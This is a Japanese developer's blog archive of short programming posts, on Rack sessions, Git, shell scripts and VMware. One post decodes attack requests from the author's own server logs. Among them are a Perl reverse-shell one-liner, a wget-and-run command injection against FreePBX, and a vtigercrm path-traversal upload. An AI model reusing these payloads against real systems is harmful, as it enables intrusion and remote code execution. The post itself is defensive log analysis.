2014年4月30日水曜日

Rack::Session::PoolとRack::Session::Cookieの違い

RubyでRackアプリケーションを作成している時に、セッションの保存方法を調べていて、幾つかの方法があることがわかったんですがね。とりあえず、Rackには代表的なところで言うと、
  • Rack::Session::Cookie
  • Rack::Session::Memcache
  • Rack::Session::Pool
あたりがあるようです。Rack::Session::Cookie は Cookieを利用した単純なデータストア、Rack::Session::Memcache はクッキーの代わりにmemcachedを使う、Rack::Session::Pool は @pool にハッシュとしてデータを保存する、という説明が公式のドキュメントにも書いてあります。が、Rack::Session::Pool がよく分かりません。そもそもRack::Session::Cookieとの違いは何でしょう?

と思っていたら、どうやら同じ悩みを抱える方が海外にもいたようです。

http://stackoverflow.com/questions/13573968/using-racksessionpool-over-racksessioncookie

上記サイトと、僕が幾つかのサイトで調べた結果をまとめると、つまりこういうことですかね。
  • Rack::Session::Cookie
    → セッションID、及び全てのキー・バリューのペアをCookieに保存する。
  • Rack::Session::Pool
    → セッションIDのみクッキーに保存する。データはRack::Session::Poolのインスタンス変数@poolに、メモリ上で永続化の処理をせず(つまりそのまま)保存される。そのため高速で動作し、かつ保存できるオブジェクトに(永続化しないため)制約がない。ただし、アプリケーションを再起動した場合にはデータは全て失われる。
  • Rack::Session::Memcache
    → セッションIDのみクッキーに保存する。データはmemcachedにより保存するため、当然memcachedは導入済みである必要がある。おそらく、永続化の処理は入るため保存できるデータの制約はRack::Session::Cookieと一緒と思われる。高速で動作する。速度的にはRack::Session::Poolとほぼ同等(永続化の操作の分わずかに劣ると思うが)。アプリケーションを再起動してもデータは保持される。
速度性能を追求するかどうか、そしてアプリケーションの再起動時にデータを保存する必要があるかどうか、が使い分けのポイントですかね。

※2014/05/02 Rack::Session::Poolについて、データの保存先の記述を修正しました。(アプリケーションオブジェクトのインスタンス変数 → Rack::Session::Poolのインスタンス変数)

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月29日火曜日

PHPで、一時的に出力を抑制する

とあるオープンソースのコードを眺めていたら、下記のような記述がいくつもの箇所に使われているのを見ました。

ob_start();
〜何らかの処理〜
if (ob_get_level()) ob_end_clean();

調べてみると、ob_start()は出力のバッファリングをオンにして、すぐさま出力がされなくなります。例えば、ob_start()以降の処理で何らかのエラーが起きて出力がなされたとしても、それが画面に表示されないということです。

ob_get_level()は、出力のバッファリングのネストレベルを取得します。ob_start()はネストすることが出来て、そのネストレベル分解除しないといけません。

で、ob_end_clean()は、バッファ内の出力を破棄して(実際に出力を行わず)バッファリングを解除する関数です。

これらをまとめると、つまり、ob_start() から ob_end_clean() のまでの間の処理による出力は行われないということです。こういうやり方もあるんだなぁ。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

一億分の一の間違いすら、許されない〜ITエンジニアの生きる世界〜

Facebookに投稿したものですが、せっかくなので、こちらにも載せときます。

================

一億分の一の間違いすら、許されない―

プログラムは、書いたとおりに動く。そこには寸分の誤解もなく、その一言一句・一文字に至るまで、書かれたプログラムはそのままコンピュータに解釈される。一文字間違ったら、人間なら「ああ、ここミスしたのね」と判断してくれるが、コンピュータは一文字間違ったらそのまま実行しようとしてエラーになる。

例えば銀行で動くような巨大なシステムともなれば、想像もつかないが、少なくとも全体では数千万行、文字にして数億文字ものプログラムになるだろう。もしかするともっと巨大かもしれない。

しかし、その1文字でも間違いがあれば、システムは正常に動かない。そう、一億分の一の間違いすら、許されない―。プログラミングとは、実際そういうものなのだ。普段何も気にすること無くATMでお金を引き出せるのは、一億分の一の間違いもなく、システムが動いているおかげである。

これは全く大げさな話ではない。確か数年前に世間を騒がした銀行のシステム不具合も、結局直接的な原因となったのは、僅か数文字のプログラムの不備によるものであった。

とはいっても、やはりプログラムは人間の書いた通りに動いただけである。コンピュータが「プログラムはこう書いてあるが、実は別の意図に違いない」などと勝手に解釈することは原理的にありえない。

そして、プログラムの記述に使うプログラミング言語の決まり事もまた、全部人間が決めたものだ。やはりそこにも、解釈にずれが生じる余地はない。つまり、完全に余すところなく、全ての支配権は「こちら」にあるのだ。

ところが、すんなりとプログラムが動くことは、めったにない。何故ならば、完全であるコンピュータは、完全に人間の命令を反映するのだから、人間の不完全さもまた、忠実に完全に再現するからだ。

ITエンジニアは、確かに、物言わず忠実に応答を返すコンピュータ相手の仕事だ。それは、外部の人間から見れば、無味乾燥とした味気のない、まるで砂漠のような世界に見えるかもしれない。

しかし、先に述べたように、コンピュータとは、人間を映す鏡でもある。組み上げられたシステムをよく見れば、意外なほどに、人間の意志や感情が映っているのを見ることができる。

無機質なようでいて、実は人間臭い―。ITエンジニアの生きる世界とは、そういう世界なのだ。

2014年4月26日土曜日

一人プロジェクトでもGitは役に立つ

ちょいと先日ある人が、「一人でやってるとGitもあまりありがたみがない」なんてことを言ってましたけれども、そんなことは無いと思いますよ。

そういう僕も昔はSubversionしか知らなくて、Gitを知った時もメリットが理解できず、移行したのは単に「将来性がありそうだから」くらいの理由だったんですがね。使ううちに、「これは明らかにGitに優位性がある」と実感できるようになりました。さらに、「たとえ一人のプロジェクトだとしてもやはりGitは有効活用できる」と思ってます。

ポイントは、リモートリポジトリとローカルリポジトリの使い分けにあります。開発中は色々と試行錯誤をしながら進めていくものですが、それらをコミットしていくと、結構変更が入り乱れてきます。一段落したところで変更をまとめてスッキリさせたいと思うわけですよ。

そういう時に、ローカルリポジトリに試行錯誤のためのブランチを作ってそこでにコミットしていき、一段落したところで、それらの変更をまとめて改めて別のブランチにコミットします。具体的には、以前この記事に書いたような merge --squash を使う方法が有用です。リモートリポジトリにプッシュするのは変更をまとめたブランチのみとしておけば、リモートリポジトリのコミットログもスッキリし、分かりやすくなります。

そういえば、ブランチの概念もSubversionとGitでは全然違いますよね。Subversionだとブランチはあくまで派生であって、trunkを更新するのが基本。Gitの方はmasterとは別のブランチにコミットして、masterにマージして取り込む、というのがよくあるパターンです。ですので一人プロジェクトでも気軽にブランチを切っていきます。

というわけで、一人プロジェクトでもGitは相当役に立ちますよ、という話でした。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月25日金曜日

仕様書・自動化テスト・実装の三位一体開発

タイトルは最近考えてることでしてね。ちなみに最初に申し上げておくべきことは、以下に書くことは、仕様を決める権利・スケジュールを決める権利・開発方法を決める権利を自らが持っている開発チーム及び開発者を対象としている、ということです。ということは受託開発よりも、自社サービスや自社製品の開発あるいは社内システム開発という立場向け、ってことです。

言いたいことを一言で言うと、仕様書・自動化テスト・実装を行き来しながら少しずつ作っていく、ということです。例えば、仕様書に少し書き加え、該当する自動化テストを少し書き、さらに該当する実装を少し書く。それを小さいサイクルで繰り返していく。というふうに。

もちろん、例えば実装方法に依存して考えなければならない部分があったりして、先に仕様書が書けない場合なんかもありますけど、その時は実装を先に書いてもいいわけです。その代わり可能な限り早く仕様書に反映し、該当する自動化テストも書くようにします。つまり、どれか1つだけが大きく突出しないようにします。

これの一部だけを取り出すと、自動化テストと実装の部分だけ見れば「テスト駆動開発」になるでしょう。さらに自動化テストの範囲が広がって振る舞いや挙動の記述も含むようになれば「ビヘイビア駆動開発」となりますね。

もし仕様書だけを集中して先に完成させてしまうと、いわゆるウォーターフォール型になります。あるいは仕様書も一緒に作っていくという概念を抜かせばアジャイルになります(大雑把に言えば)。

なお、「◯◯駆動開発」と呼んでしまうと、その「◯◯」を原則として先に作らなければならないということになりますが、仕様書・自動化テスト・実装は常に順番を固定して作れるようなものではなく、むしろお互いを行き来しながらバランスを取りつつ進めていく、という表現がしっくりきます。その上で、理想としては「仕様書→自動化テスト→実装」の順番のサイクルを維持する、と思っておけばいいと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月24日木曜日

たまには「手を動かさないこと」も必要

よく手を動かすことが重要だって言われますよね。特にエンジニアの世界ですと、コマンドを覚えるとか、プログラミング言語を習得するとか、新しいツールを使うとか、ドキュメントを書くとか、そういう文脈で使われる言葉が「手を動かせ」です。確かにその通りであって、手を動かすこと重要である、という意見を否定しようだとは全く思いません。

でもしかし、いついかなる時も手を止めないことが良いことだ、とは僕は思わないわけですよ。たまには、手を止めて静かに深く黙考することも、これまた非常に大事なことだろうと思うのですね。別に長くそうしろとも言いません。1分とか2分とか、場合によっては30秒でいいから、集中的に思考する時間が必要なときもあります。

例えばプログラミングの前の設計を行うことを考えてみます。全体の構想を考えているとして、最初は図に書き出していくわけですよ。思いつくことを色々と。僕は紙に書き出すのが好きなのでマインドマップ形式で描いたりします。

で、しばらくすると全部書き尽くすわけですね。「手が止まる」わけですよ。そこで次の段階に移行して再び手を動かす作業を再開する、のではちょっと甘いのですね。そこはむしろ、描いたものを眺め直して、頭の中でイメージを作り、足りないものが無いか、もっと掘り下げて細かく書いておくべき点はないか、などを検討することで、完成度が上がるのです。その時こそ、手を動かさずに静かに深く考えるべきタイミングですよね。時間にしたらわずかに1・2分かも知れませんが、この時間を取るか取らないかの差は大きいはずです。

ちなみに手を止めて黙考していると「ほら、手が止まってるよ」とか何とか言って文句をつけてくる人が居たりするかもしれません。手を動かしていないと仕事してないと思ってたみたいです。そういう人は分かってないので、無視しておきましょう。僕も過去の職場にいましたね。その人は自分を忙しくするのが得意でいつも悲劇の主人公気取りの人でした。相手にするだけ無意味です。

もちろん、あまり長い黙考は疲れるし意味が無いので、僕が言っているのはせいぜい数十秒から数分間程度のことです。でも、それが重要な時もある、ってことは理解しておかなければいけないと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月23日水曜日

auでテザリングする時のIPアドレスとポート

自分のホームページは自前で仮想サーバをまるごと借りて運営してるんですけど、しばらく前から、テザリング使用時に、80番ポートのHTTPアクセスはできるものの、SSHなどその他のアクセスが出来ない、という状況が続いていました。その前まではできてたんですがね。

サーバ側のファイアウォールの設定を見なおしてみたり、HTTPでリクエストを投げた時にログに記録されるIPアドレスを確認したりしてみましたが、リクエスト元のIPアドレスには、確かにSSHの22番ポートなど、HTTPの80番ポート以外のアクセスも許可されていました。それでもアクセスが出来ない状況でした。

で、調べるうちに下記ページを発見。
http://www.au.kddi.com/developer/android/kaihatsu/network/

上記リンク先のページの最後の方に、下記の記述があります。

「Port80番通信とPort80番以外の通信では送信元IPアドレスが異なる場合があります」

うおーい、多分これだよ。てことで、早速一時的にファイアウォールを無効にして、テザリング中にHTTPで80番ポートへのアクセス元IPと、SSHで22番ポートへのアクセス元IPを確認してみると・・・異なってた!で、80番ポート以外からのアクセス元IPアドレスのファイアウォール通過許可が無かったのが原因なのでした。

なお、auのテザリング時のIPアドレス一覧は、上で挙げたリンク先に載ってます。とりあえず、リンク先に書いてあるIPの範囲でファイアウォールの設定を行い、無事つながるようになりました。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

"@IT 自分戦略研究所 エンジニアライフ"でコラム開始

お知らせです。「@IT 自分戦略研究所 エンジニアライフ」でコラムを始めます。タイトルは『「変人」は褒め言葉なりエンジニア』。週1回のペースで投稿していきます。

なお、今までこのブログは毎日更新してきましたが、今後土日はコラム執筆のためお休みとさせて頂きます。なお、原稿を書いてから編集部のチェックが入るため、実際の掲載日は月曜か火曜(担当者が忙しいともっと遅れるかも)になると思います。

エンジニアの人はもちろん、それ以外の人でも気軽に読める内容になっていますので、ぜひお読み頂ければと思います。よろしくお願いします!

コラム第1回の記事はこちら↓
http://el.jibun.atmarkit.co.jp/takaakikasai/2014/04/post-905d.html

2014年4月22日火曜日

bash か sh か、それが問題だ

Linuxのサービス制御シェルスクリプトを書いていて思ったことなんですけどね。そのプロジェクトの先人たちが書いたコードを拝見すると、一行目のシェバング行に sh と bash が混じっていたんですよ。つまり、「#!/bin/sh」と「#!/bin/bash」の両方のパターンがあったわけです。まあDebian系なので、shは正確にはashなんですがね。

それで、どういうふうに使い分けるんだろうか、と気になったわけです。shとbashではbashが拡張した独自文法がある、ということは知ってましたが、じゃあ具体的にはなんなのかと。色々調べてみたり、bashのmanページを見たりしましたが、違いをまとめたものがなかなか見つかりません。

だったら、機能が多いbashに統一すればいいのか、というとそうでもありません。bashのmanページの最後、バグの項は次の一文で始まります。

「bash は大きすぎるし、遅すぎます。」

おいおい(笑)公式でそう言っちゃうんかい。しかもmanページのバグの項目で。まあともかく、重いってことですね。まあ、起動スクリプトは軽いに越したことはありませんから、むやみやたらにbashに統一というのはあまり良くはないでしょう。

でまあ、どうしたかというと、どうしても sh では実現できない、あるいはbashを使わないと著しく大変な時だけbashを使い、それ以外の時はshで済ますことにしました。

ちなみに今までに書いたスクリプトの中にもシェバング行が「#!/bin/bash」のやつもあったので、そいつらは「#!/bin/sh」に書き換えてしまって不具合が出ない限りはそれでいく方針に。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月21日月曜日

基本的には独学で

先日、とある人の講演を聞いていた時に、どうやって仕事のやり方を覚えたのかという質問が出たんですね。仕事の成果はかなり認めたらている人でしたけれども、全て独学だと言ってました。仕事上使うツールにしても、別に体系だったものを誰かから教えてもらったわけではなく、わからないことを都度調べたり試行錯誤したりして積み上げてきて、使いこなせるようになった、という話でした。

それを聞いていて、ITのスキル一緒だなと思ったんですよ。例えばプログラミングにしても、僕もいま仕事で使っているプログラミング言語に関しては完全に独学ですね。あと開発に使うツール、例えばEclipseみたいな結構複雑なツールにしても同様に、わからないことを都度調べたり試行錯誤したりして積み上げて、まあなんとか仕事で使えるようになった、という感じです。

エンジニアなんてのは特に独学ができることとか、独学で何かを身に付けられることが非常に重要で不可欠だと思います。例えば技術的な問題だって、仕事をしていれば必ず、どこの誰にも応えられないような、独自の問題にぶち当たる時が来ますからね。その時に、自力で解決できる力がどうしても必要です。

コードはコピペだけ、ググって見つからないなら掲示板で質問、そんなエンジニアなんて三流以下でしょう。

独学するというのは自力で解決できる力を付けるという事でもあります。遠慮無く独学で行きましょう。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月20日日曜日

プログラマ35歳定年説を疑う

よく、プログラマは35歳が限界なんて言わたりしますよね。僕が最初にそれに大して疑問を持ったのは、この業界に来てまだそんなに経っていない頃に、仕事しながら海外の技術情報にあたるようになった時です。

というのは、日本と違って海外の掲示板やブログなんかだと、自分のリアルな顔写真を出して投稿している人が結構いたりするんですよね。すると、どうみても35歳以上に見えるプログラマが結構多い。結構年齢がそれなりにいってそうな人が普通に登場するんですよね。これって何なのかな、と考えたのが疑問の切っ掛けです。ようするに、物理的に体力や業務内容的に若い年齢でしか無理ならば、そもそも海外でも若い人しか居ないはずです。でも、全然違う。

要するに、プログラマ35歳定年説というのは、日本のIT業界の特殊事情によるものでしかないんじゃないかとその時に思ったんです。で、それから色々な職場で仕事をして、転職も2回あって、やっぱり、プログラマ35歳定年説は本来ならば間違っていると思います。

一番の問題は、「プログラマ」の位置づけかな、と思います。例えば、誰か他の人が隅から隅まで詳細に設計した通りにプログラムを組むだけ、いわば人間の言語を機械語の言語に翻訳するだけ、みたいな仕事だとしたら、35歳定年説も通用するのかもしれません。でも僕は「プログラマ」が単にそれだけの仕事しかしないという職場は、今後消えていくと思いますね。そういう、設計まで詳細に行うようなプロジェクトは得てして大規模であり、そしてその場合海外にコーディングだけ投げるパータンにどんどん移行しているからです。

ところが、日本の中においても、横断的なスキルが求められる場面が多くなってきていますね。コーディングだけでなく設計もテストもやるし、サーバ構築や場合によっては運用もやる。昨今だと「フルスタックエンジニア」なんて言葉もありますが、それだってメインでプログラミングをしているのであれば、プログラマの一種とみなせるわけですよ。そんな風になってきた時に、やっぱり35定年っていうのは違うんじゃないかと思うわけです。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月19日土曜日

他人が書いたコードのコーディングスタイルを直す

他人が書いたコードを流用して改変したり追加したりして新しいコードを作ることってのはよくある話じゃないですか。そういう時は、元のコードの一部が残ってそのまま使うこともありますよね。

で、そういう時って、コーディングスタイルが自分と違うこともよくある話ですよね。特定の位置で改行をするかどうかとか、カッコの前後にスペースを入れるかどうかとか、変数や関数・メソッドなどの命名規則とか。

そういう時は、僕はコーディングスタイルを自分の流儀に合わせて直してしまうことがほとんどです。気にしないって人も居るんでしょうけれど、僕はどうしても気になって落ち着かない。もちろん一つ一つ直すわけじゃなくて、正規表現ろ使って一括置換したりするんですけどね。

プログラムの見た目を綺麗にすることは、バグの低下につながるといって実用的な意味ももちろんありますけれども、なんかそういう具体的なメリットに関係なく、ただ美しいと感じるコードにしたい、という一種の芸術的願望もあると思います。

それは意味が無と言われればそれまでかもしれませんが、エンジニアにはそういう芸術的な感覚も必要なんじゃないかと、思ったりするのです。結局、優秀だと人から評価を受けるエンジニアの方々を見ていると、やっぱりどこか美的センスがあるもんなんですよね。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月18日金曜日

VMWare Fusionの仮想マシンをOVA形式で出力する

普段仕事はMacでやっていて、開発に使う仮想マシンもVMware Fusionで扱っているわけですけれども、仮想マシンを作成してちょっと他の人に共有したいなんてことがありましてね。そういう時には、OVA形式で出力できたら便利だなと思うわけですけれども、実はVMware Fusionには直接その機能がありません。なんてことだ!

というわけで、OVA形式へ出力するためには、VMwareが公式で提供しているツールである「VMware OVF Tool」が必要です。まずはこれをインストールします。

まず、VMware OVF Tool for Mac OSXをダウンロードします。下記URL参照。
https://my.vmware.com/jp/group/vmware/details?downloadGroup=OVFTOOL350&productId=352

つぎに、インストールを行います。dmgをマウントしたら”VMware OVF Tool.pkg”を実行。インストーラの指示に従えばいいです。

インストール先は、
"/Applications/VMware OVF Tool"
です。Finderからは「アプリケーション」で参照できますね。

OVF Toolがインストールできたら変換を行います。下記のようにコマンドを打ちます。
$ /Applications/VMware\ OVF\ Tool/ovftool --acceptAllEulas path/to/vm/VM01.vmwarevm/VM01.vmx path/to/output/VM01.ova

これで変換できます。それにしても、公式でツールを提供してくれるんだったら、VMware Fusionにも機能をつけておいてほしいものですな。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月17日木曜日

全てのロジックのルートを通ると思ってコードを書く

プログラミングをしてますと、条件分岐で様々なルートを作っていくわけですけれども、その中には、ロジック構成上は存在しても、実際には絶対通らないだろうと思っているルートがあったりするわけですよ。

しかしそういう部分で手を抜いてはいけないのですね。意外な事が起きて、一応書いたけど無駄だろうと思っていたコードが実行されたりすることが本当にあります。そういうところでエラーログを取るなりエラーメッセージを出力するなりしておくことを絶対省かないほうがいいです。

今日もプログラムがうまく動かない事態が発生したんですが、ログを見たら、記録されるはずのないエラーメッセージが記録されていたりするんですね。ロジック上、普通に考えたらそこは通らないはずの箇所です。

しかし実際には、途中で呼び出したサブルーチンの中で呼び出した外部プログラムが落ちて、決して通らないと思っていたロジックのルートを通って、出力されるはずがないと思っていたエラーメッセージがログに出力されていたのです。

でも、このログ出力をつけていなかったら、デバッグにもっと手間取っていたことは間違いありません。やはり、全てのロジックのルートを通ると思ってコードを書かなければいけませんね。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月16日水曜日

常にビルドして「動く状態」を維持しつつ開発する

昨日、今開発している製品のプロトタイプ版が欲しいと突然言われましてね。とりあえず今週中を目処に提供することになったんですよ。その時、特に困らずに返答することが出来たのは、「動く状態を」なるべく維持しつつ開発を進めているおかげかな、と思いましたね。

ウォーターフォール型の開発プロセスだと、別々の部分を別個で作り、組み合わせるのは最後の最後であって、それまでお互いに組み合わせて動かせるかどうか分からないという話ですが、正直その方法はリスクが大きすぎます。

そうではなく、最初は最低限の形であってもビルドが通って「動く状態」の物を作るところから初めて、徐々にプログラムを大きくしていけば、突然プロトタイプ版が欲しいなんて言われた場合でも、それほど困りません。

僕の開発スタイル自体もプロトタイピング的であり、真っ先に行うのは部品を細かく作ることではなく、全体像をイメージできるミニチュアを作ることです。だから、開発はそのミニチュアに色々な部品を足したり、膨らませて大きくしたりすることになりますね。

その際にはやはり、ビルドが通って「動く状態」を常に維持することが大切です。ビルドがないスクリプト言語による開発の時も、動作させることのできる「動く状態」を維持するという意味では同様ですね。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月15日火曜日

プログラミングのアイデアが仕事中以外も降りてきた

仕事中でなくて家に帰って仕事以外のことを考えている時でも、突如としてアイデアがまるで降ってくるように湧いてくることがありますね。なんか昨日もそんなことがあって、次の日仕事に出たら早速その部分に取り組んだりしてました。

よく、アイデアを思いつくのは「4B」(「バー」「バス(風呂)」「バス(乗り物)」「ベッド」)と言われてますけれども、昨日はトイレの中だったんで、広い意味では「バスルーム」でしょうかね。ともあれ、リラックスした環境ってのはアイデアがでる環境ではあります。

とはいうものの、最初からリラックスしてればアイデアが出るのか、というと全く違うとは思いますね。その前に、集中して徹底的に考え、出し尽くせるアイデアを全て出し尽くす過程を経て初めて、上記の「4B」でのあのひらめきが発動する条件が整うと僕は考えています。

例えば冒頭に挙げたプログラミングの例にしても、その前に仕事中には全てやりつくすところまでやったと思えるレベルまで仕上げているんですよ。意識でできることを全てやったからこそ、潜在意識が開放されて、リラックスした状態の時に動いてくれる、というのが僕の考えです。

結局、仕事時間中に全力を尽くしましょうという、何の変哲もない結論になってしまいますが、まあ、仕事時間以外のひらめきというものは、そこまでやった人へのいわばご褒美みたいなものかな、と思ってます。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月14日月曜日

最近来たサーバへの攻撃(不正アクセス)を晒してみる

個人用に自分でWebサーバを運用しているんですが、ちょっとログを見てみたら、悪意のあるアクセスらしきログが残っていたのでちょっと晒してみようと思います。なお、攻撃元のIPアドレスは全て"*.*.*.*"に置き換えて伏せてあります。

パターン1


Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:33 +0900] "GET /recordings/misc/callme_page.php?action=c&callmenum=888%40ext-featurecodes%2Fn%0D%0AApplication%3A%20system%0D%0AData%3A%20perl%20-MIO%20-e%20%27%24p%3Dfork%3Bexit%2Cif(%24p)%3B%20%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET(PeerAddr%2C%22*.*.*.*%3A3333%22)%3B%20STDIN-%3Efdopen(%24c%2Cr)%3B%20%24~-%3Efdopen(%24c%2Cw)%3B%20%24c-%3Ewrite(%22%5DQAfH%23.Eq%5Cncmp%5Cn%22)%3B%20system%24_%20while%3C%3E%3B%27%0D%0A%0D%0A HTTP/1.1" 404 292

このままだとわかりにくいんでURLエンコードされているのをデコードして、URLだけにしてみるとこうなります。

/recordings/misc/callme_page.php?action=c&callmenum=888@ext-featurecodes/n
Application: system
Data: perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"*.*.*.*:3333"); STDIN->fdopen($c,r); $~->fdopen($c,w); $c->write("]QAfH#.Eq\ncmp\n"); system$_ while<>;'

上記URLは"Data:"の後ろ側が実行されることを期待しているように見えます。perlを利用して攻撃元サーバに接続し、不正コードをダウンロードして実行させるコードな気がしますね。調べてみると、FreePBXの脆弱性として2012年に指摘されています。
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-004164.html


パターン2


Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:37 +0900] "GET /admin/config.php?display=auth&handler=api&function=system&args=cd%20/tmp;rm%20-f%20e;wget%20http://*.*.*.*:3003/e;perl%20e;rm%20-f%20e HTTP/1.1" 404 277

こちらもURLデコードしてみましょう。

/admin/config.php?display=auth&handler=api&function=system&args=cd /tmp;rm -f e;wget http://*.*.*.*:3003/e;perl e;rm -f e

これもパターン1と同様にアクセス元のサーバからperlスクリプトダウンロードして実行させようとするコードに見えますが、より直接的にOSコマンドインジェクションでやっていますね。ご丁寧に/tmpにダウンロードしたコードを消す命令も最後に入っています。


パターン3


*.*.*.* - - [13/Apr/2014:19:27:39 +0900] "POST /vtigercrm/graph.php?module=..%2Fmodules%2FSettings&action=savewordtemplate HTTP/1.1" 404 280

また例によってURLデコードします。

/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate

これは上記2つとは毛色が違いますね。よく見るとアクセスのメソッドもGETではなくPOSTです。何か悪意のあるデータを送りつけて保存させようとしているように見えます。
URLに含まれるvtigercrmというのはオープンソースの顧客管理ソフトウェアですね。調べてみると、URLで呼び出していそうなソースがGitHubに見つかります。
https://github.com/vtiger-crm/vtigercrm/blob/master/modules/Settings/savewordtemplate.php

これはMicrosoft Wordのテンプレートを保存するスクリプトですね。つまりマクロウイルスを含んだテンプレートをPOSTで送りつけているのでしょう。次に管理者がそのファイルをダウンロードして開いた時に発動することを狙っているものと見られます。

とりあえずこんな感じですかね。公開されているサーバで不正アクセスのないサーバなんぞ無いと思いますけれども、たまにこうしてログを見て攻撃の傾向を見ておくと、セキュリティ意識と知識が上がってよいと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月12日土曜日

プログラミングでハマった時にやること

とりあえず思いつくことは全部やってみた。さらに思いついた全てのキーワードでもググってみて、手元にある技術書でも関連しそうな部分を全部あたってみた。それでもまだ解決しない。しかし次の手立ては、今のところない。プログラミングをしていると、たまーにそういう時ってありますよね。いわゆる「ハマった」ってやつです。そんな時に僕がどうしているかって話なんですけれども。

こういう書き出し方をすると、なにかメソッドとか決まったパターンでもあるのかと期待された方には申し訳ありませんが、ないんですよねぇ。結局やることは「あがく」という極めて単純な方法です。

もう一度自分の書いたコードを読みなおす。ロジックの流れを最初から追う。頭の中を整理するため、いま分かっていることを紙に書き出してみる。黙考する。途中で変数の値を出力してみる。わざと仕様とは違う動作をさせる仮のコードを入れる。わざとエラーを起こさせてみる。同じ動作をする別のコードの書き方に変えてみる。大きなコードのまとまりを小さなコードに分割して、1つずつ検証してみる。・・・などなど。

いままで見過ごしていた事実があるからハマっているわけで、見過ごしていたということは意識の外にあるわけで、となれば、自分が今まで省略してたこととか前提にしていたことをわざとやり直すとか、当然結果はこうなるはずだと思っていた部分をあえて検証するとか、手当たり次第にパターンを変えてやってみるしか無いと思うんですよ。

たいていは、その過程で解決策が見つかるものですが、それもダメなら諦めて帰って寝て翌日改めて取り組んでみると、頭が整理されてポンと簡単に解決できたりします。万が一にもそれでもダメなら、他人の助けを求めることになるでしょう。しかしそこまで自力で解決できなかった問題は、僕の経験上極めて少ないです。「あがく」ことで何とかなります。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

エンジニアの差は「最後のツメ」に出る

設計書とかプログラミングとか、エンジニアの成果物にはクオリティが求められますけれども、結局のところどこに差が出てくるかというと、いわゆる「最後のツメ」ってやつですよね。

頻度は少ないものの重要なユーザの操作に対するちょっとした仕様の工夫だったり、万が一のための例外処理で最悪の事態を避けるものだったり、ハッキリ目に見えて分かりやすいものでは無いかもしれないですけれど、「何かあった時に違いが分かる」ってやつです。

しかしまあ、そういう「最後のツメ」のクオリティを上げるっていうのは、義務感とかじゃ無理だと思うんですよね。僕は、「こだわり」だと思うんですよ。気になって仕方ないっていう感覚のほうが、正しいと思うんです。

ちなみに、この最後のツメをしつこく追い求めていると、結局1時間で終わるはずだった作業が2時間もかかってしまったりします。しかし、最後のツメを甘いままに作業を終わりにしてしまったら、例えば後になってミスが発覚し、しかもその前提で進めてしまった別の作業の部分も併せて修正を入れるはめになり、結局トータルで4時間かかったりするのですよ。

決して分かり易くないけれど、やっぱりそういう差ってあると思うんですよ。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月11日金曜日

プログラムの静的検証の各種方法

プログラミングをしていて、実際書いたプログラムを動かしてみて確認する動的な検証は当然皆さん行っていると思います。と同時に、プログラムを走らせるのではなく、ソースコード自体を何らかの方法で検証する静的検証も、皆さん行っていると思います。

というのは、動的検証で全てを網羅するのは大変すぎるからですね。テスト駆動開発で100%のパターンを網羅するようにコードを書けばもちろん全てを網羅したと言えるかもしれませんが、現実的に考えると、あらゆる例外処理を含めてテスト駆動開発にするのは時間的にも労力的にもキツイです。ということで、当たり前のことを確認したようですが静的検証も大事なので、色々静的検証の方法を述べてみます。(あ、ちなみに動的検証とか静的検証って呼び方は僕が勝手にそう呼んでるだけです。)

最も基礎的で単純な静的検証は、単にソースコードを直接自分の目で読むことです。これは作業中に当たり前のように行っていると思いますが、例えば改めて1つのコードを上から下まで目を通すことも静的検証の1つですよね。

あるいは、何らかの変更を行った際、その変更に関連する文字列でソースコードを検索してみるのもいいでしょう。変数名、クラス名、メソッド名、値としての文字列などなど、パターンとしては色いろあると思いますが、やることは同じで、単に検索してヒット箇所の前後を読み、修正の矛盾や抜け漏れがないか確認するってことです。単一のファイル内だけでなく、場合によってはソースコード全体を検索することも必要です。

GitやSubversionなどの何らかのバージョン管理システムは当然お使いだと思います。直前のバージョンと現在の比較が最もよくやりますね。コミット直前には必ず直前のバージョンとの全ての差分に目を通すようにしています。ここでミスを発見することも多いですね。

差分といえば、例えば別の似たコードを元にして新しいコードを書いた場合には、書き終えた段階で改めて元にしたコードとの差分を取ることも有効な検証手段です。あるいは元にしたわけでなくても、用途がよく似たコードと比較してみてもいいですね。その場合には差分を取るというよりは、ざっと眺めてみてロジックの流れを比較してみるといいと思います。

ちなみに複数人で行うソースコードのレビューについてですが、僕自身がレビューを行う職場の経験が一度もなく、僕個人としてもレビューにそこまで有用性を感じていないこともあって、ここで何かを語ることは出来ません。率直に言うと、人命に関わるようなクリティカルなプログラムの作成でもなければ、レビューにこだわる必要はないと思ってます。

こんな感じですかね。プログラムの静的検証はソフトウェアエンジニアの腕の見せどころって気もするので、色々工夫のしがいがありますね。もし良い方法をご存知ならぜひ教えてください。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月10日木曜日

Vim使いにもお勧めするEclipseの併用方法

